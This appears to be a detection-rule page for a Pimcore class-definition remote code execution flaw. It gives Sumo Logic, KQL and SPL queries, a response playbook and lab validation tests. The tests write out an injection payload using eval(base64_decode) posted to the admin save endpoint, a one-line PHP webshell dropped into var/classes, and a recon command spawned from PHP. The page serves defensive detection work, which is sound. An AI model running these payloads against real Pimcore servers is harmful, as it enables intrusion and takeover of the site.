CVE-2026-55634 Sumo Logic CSE · Sumo

Detect Pimcore DataObject Class-Definition Field Name RCE (CVE-2026-55634) in Sumo Logic CSE

Detects exploitation attempts against CVE-2026-55634, a critical (CVSS 9.9) remote code execution vulnerability in Pimcore. The DataObject class-definition editor fails to sanitize user-supplied field names, allowing an authenticated attacker with class-definition edit privileges to inject SQL (CWE-89) and PHP code (CWE-94) that is later executed when the generated DataObject class/listing PHP files are written and included. Affected: pimcore/pimcore <= 12.3.9 and 2026.1.0 through 2026.1.5. Fixed in 2026.1.6 (and the 12.x backport). Detection focuses on suspicious class-definition save requests, anomalous PHP file writes under the Pimcore var/classes directory, and web-shell-like child processes spawned from the PHP-FPM/webserver worker.

MITRE ATT&CK

Tactic
Initial Access Execution

Sumo Detection Query

Sumo Logic CSE (Sumo)
sql 
_sourceCategory=web/access ("/admin/class/save" OR "/admin/dataobject/class" OR "/admin/objectbricks" OR "/admin/fieldcollection") "POST"
| parse "* - * [*] \"* * *\" * *" as src_ip, user, ts, method, url, proto, status, bytes nodrop
| where method = "POST"
| where url matches /(?i)(eval\(|system\(|shell_exec|base64_decode|assert\(|UNION\s+SELECT|<\?php)/
| count by src_ip, url, status
critical severity medium confidence

Detects Pimcore class-definition save POSTs whose URL/body carry PHP or SQL injection markers in Sumo Logic web access logs.

Data Sources

Web Server Access Logs

Required Tables

web/access

False Positives & Tuning

  • Benign admin class authoring
  • Scanner traffic against the admin panel
  • Staging replay of admin API calls

Other platforms for CVE-2026-55634

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulated malicious class-definition save with PHP marker

    Expected signal: Web access log entry: POST /admin/class/save with body containing eval(/base64_decode.

  2. Test 2Simulated malicious PHP file write under var/classes

    Expected signal: File-create event under var/classes/ for a .php file initiated by the web service account.

  3. Test 3Webshell child-process spawn from PHP worker

    Expected signal: ProcessRollup2 event: php spawning sh/id/uname under the web service account.

Last updated: 2026-08-31 Research depth: standard
References (5)

Response Playbook

Triage

  1. Identify the source IP and authenticated admin user of the flagged POST to the Pimcore class-definition endpoint; confirm whether that account is authorized to edit DataObject class definitions.
  2. Inspect the request body/parameters for injected PHP (<?php, eval, shell_exec) or SQL (UNION SELECT, stacked queries) in the field name/key values.
  3. Determine the running Pimcore version; confirm it is <= 12.3.9 or between 2026.1.0 and 2026.1.5 (vulnerable) versus 2026.1.6+ (patched).
  4. Review files written under var/classes/ (DataObject/*.php, Listing/*.php) for a timestamp matching the request and for anomalous PHP payloads.

Containment

  1. Block the offending source IP at the WAF/edge and disable the compromised or abused admin account pending investigation.
  2. Restrict access to the Pimcore /admin/class/* endpoints to trusted IPs and revoke class-definition-edit privileges from non-essential users.
  3. If a malicious generated class file or webshell is confirmed, isolate the host from the network and take PHP-FPM offline until cleaned.

Evidence Collection

  1. Preserve web server access/error logs, PHP-FPM logs, and the full request body of the malicious class-definition save.
  2. Capture and hash all recently modified PHP files under var/classes/ and any webshells dropped elsewhere in the webroot for forensic comparison against a known-good release.

Escalation Criteria

  • !Escalate to incident response if a var/classes PHP file contains attacker-controlled code or a shell/recon process was spawned from a webserver worker.
  • !Escalate to the database team if injected SQL (UNION SELECT / stacked queries) executed against the Pimcore database, indicating data exposure or modification.

Investigation Guide

Related Techniques

[object Object][object Object]

Forensic Artifacts

  • >Modified/created PHP files under var/classes/ (DataObject and Listing subfolders)
  • >Web server and PHP-FPM logs showing POSTs to /admin/class/save with injection markers
  • >MySQL general/query logs showing anomalous or stacked queries from the Pimcore DB user

Tuning Guidance

Baseline which admin accounts legitimately author DataObject class definitions and from which IP ranges; exclude known deployment/upgrade windows where var/classes is regenerated in bulk. Tighten by requiring the injection-marker regex match rather than the endpoint alone if benign admin edits generate noise. Prioritize alerts where a class-definition POST is followed within minutes by a var/classes PHP write from a webserver worker or by a shell child process.

Hunting Queries

Hunt for anomalous PHP writes under var/classes and repeated class-definition save attempts by source/user.

Hunting — KQL
kql 
DeviceFileEvents | where FolderPath has "/var/classes/" and FileName endswith ".php" | where InitiatingProcessFileName has_any ("php-fpm","apache2","nginx","httpd") | summarize count() by DeviceName, FileName, InitiatingProcessAccountName, bin(TimeGenerated, 1h)
Hunting — SPL
spl 
index=web (sourcetype=apache:access OR sourcetype=nginx:access OR sourcetype=iis) uri_path="/admin/class/save" method=POST | stats count values(status) by src_ip, user

Atomic Red Team Tests

Test 1 Simulated malicious class-definition save with PHP marker
linux

Send a POST to the Pimcore class-definition save endpoint with a field name containing a PHP code marker to trigger the web-log detection (lab only).

Command

bash 
curl -s -k -X POST 'https://pimcore.lab.local/admin/class/save' -H 'Cookie: PHPSESSID=labsession' --data-urlencode 'configuration=[{"name":"x\";eval(base64_decode($_GET[0]));//","fieldtype":"input"}]' -o /dev/null

Cleanup

bash 
echo 'No local artifact to clean; remove the test class definition from Pimcore admin if created.'

Expected Telemetry

Web access log entry: POST /admin/class/save with body containing eval(/base64_decode.

Expected Detection

KQL/SPL web-log rule matches the injection marker in the class-definition save request.

Test 2 Simulated malicious PHP file write under var/classes
linux

Write a PHP file containing a webshell marker into the Pimcore var/classes directory as the web user to trigger the file-write detection (lab only).

Command

bash 
sudo -u www-data bash -c 'echo "<?php system(\$_GET[0]); ?>" > /var/www/pimcore/var/classes/DataObject/Evil.php'

Cleanup

bash 
sudo rm -f /var/www/pimcore/var/classes/DataObject/Evil.php

Expected Telemetry

File-create event under var/classes/ for a .php file initiated by the web service account.

Expected Detection

DeviceFileEvents / Auditbeat file rule flags the PHP write under var/classes by a webserver worker.

Test 3 Webshell child-process spawn from PHP worker
linux

Simulate post-exploitation by having a PHP process spawn a shell recon command to trigger process-telemetry detection (lab only).

Command

bash 
sudo -u www-data php -r 'system("id; uname -a");'

Cleanup

bash 
echo 'No persistent artifact; command output is transient.'

Expected Telemetry

ProcessRollup2 event: php spawning sh/id/uname under the web service account.

Expected Detection

CrowdStrike CQL rule matches shell/recon child process parented by php/php-fpm.

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002Execution

Related Techniques

T1190Exploit Public-Facing ApplicationT1505.003Web Shell

Same Tactic: Initial Access

Popular Detections